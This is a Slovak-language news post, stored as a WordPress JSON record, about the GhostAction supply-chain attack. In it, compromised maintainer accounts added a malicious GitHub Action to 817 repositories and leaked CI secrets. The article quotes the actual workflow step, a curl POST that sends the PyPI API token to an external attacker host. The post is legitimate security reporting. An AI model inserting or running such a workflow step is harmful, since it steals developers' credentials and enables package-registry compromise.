{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Po\u010das \u00fatoku GhostAction bolo zkompromitovan\u00fdch 817 repozit\u00e1rov na GitHub","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Odborn\u00edci z firmy GitGuardian odhalili mas\u00edvny \u00fatok na pou\u017e\u00edvate\u013eov GitHub, pri ktorom z\u00edskali kontrolu nad 327 \u00fa\u010dtami a implementovali \u0161kodliv\u00fd spracovate\u013e Github Action do 817 repozit\u00e1rov. \u00datok viedol k \u00faniku 3325 tajomstiev, ktor\u00e9 sa pou\u017e\u00edvali v syst\u00e9moch kontinu\u00e1lnej integr\u00e1cie a odosielali sa prostredn\u00edctvom premenn\u00fdch prostredia, vr\u00e1tane pr\u00edstupov\u00fdch tokenov k PyPI, GitHub, NPM, DockerHub a r\u00f4znym cloudov\u00fdm \u00falo\u017eisk\u00e1m.

\"Po\u010das<\/center> <\/p>\n

GitHub Actions umo\u017e\u0148uje v\u00fdvoj\u00e1rom k\u00f3du pripoji\u0165 obslu\u017en\u00e9 programy na automatiz\u00e1ciu r\u00f4znych oper\u00e1ci\u00ed v GitHub. Napr\u00edklad pomocou GitHub Actions je mo\u017en\u00e9 vykon\u00e1va\u0165 ur\u010dit\u00e9 kontroly a testy pri uskuto\u010d\u0148ovan\u00ed commitov alebo automatizova\u0165 spracovanie nov\u00fdch Issues. Zlomyse\u013en\u00fd obslu\u017en\u00fd program sa \u0161\u00edril pod menom «Github Actions Security» a obsahoval v sekcii «run» pr\u00edkaz «curl», ktor\u00fd posielal obsah premenn\u00fdch prostredia na extern\u00fd hostite\u013e pri spusten\u00ed \u00faloh v prostred\u00ed kontinu\u00e1lnej integr\u00e1cie. Zlomyse\u013en\u00fd commit bol pridan\u00fd z \u00fa\u010dtov maintainerov projektov, ktor\u00e9 pravdepodobne predt\u00fdm boli hacknut\u00e9 alebo sa stali obe\u0165ami phishingu. <\/p>\n

\u00datok bol identifikovan\u00fd po anal\u00fdze abnorm\u00e1lnej aktivity, ktor\u00e1 s\u00favisela s bal\u00ed\u010dkom FastUUID, ktor\u00fd poskytuje Python v\u00e4zbu na Rust kni\u017enicu UUID. Bal\u00ed\u010dek FastUUID, pre ktor\u00fd v poslednom t\u00fd\u017edni bolo zaznamenan\u00fdch takmer 1,2 mili\u00f3na stiahnut\u00ed, sa pou\u017e\u00edva ako z\u00e1vislos\u0165 v popul\u00e1rnom projekte LiteLLM, ktor\u00fd m\u00e1 na PyPI viac ako 5 mili\u00f3nov stiahnut\u00ed t\u00fd\u017edenne. Anal\u00fdza zmien v repozit\u00e1ri FastUUID uk\u00e1zala, \u017ee 2. septembra maintainer projektu pridal commit s nov\u00fdm obslu\u017en\u00fdm programom Github Action, v ktorom bol k\u00f3d na odoslanie tokenu do repozit\u00e1ra PyPI na extern\u00fd hostite\u013e. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n

Probl\u00e9m sa podarilo odhali\u0165 predt\u00fdm, ne\u017e sa \u00fato\u010dn\u00edci stihli dosta\u0165 k zachyten\u00e9mu tokenu — publik\u00e1cie zlomyse\u013en\u00fdch zmien alebo modifikovan\u00fdch verzi\u00ed bal\u00ed\u010dka v PyPI pre FastUUID neboli zaznamenan\u00e9. Podobn\u00e9 substit\u00facie Github Action boli zisten\u00e9 v 816 repozit\u00e1roch, ktor\u00fdch vlastn\u00edkom, ako aj administr\u00e1cii PyPI, GitHub, NPM a DockerHub, boli zaslan\u00e9 upozornenia. K v\u010deraj\u0161iemu ve\u010deru boli zlomyse\u013en\u00e9 commity zru\u0161en\u00e9 pribli\u017ene v 100 repozit\u00e1roch. V s\u00fa\u010dasnosti sa pri vyh\u013ead\u00e1van\u00ed v GitHub objavuje 671 commitov so zlomyse\u013en\u00fdm Github Action.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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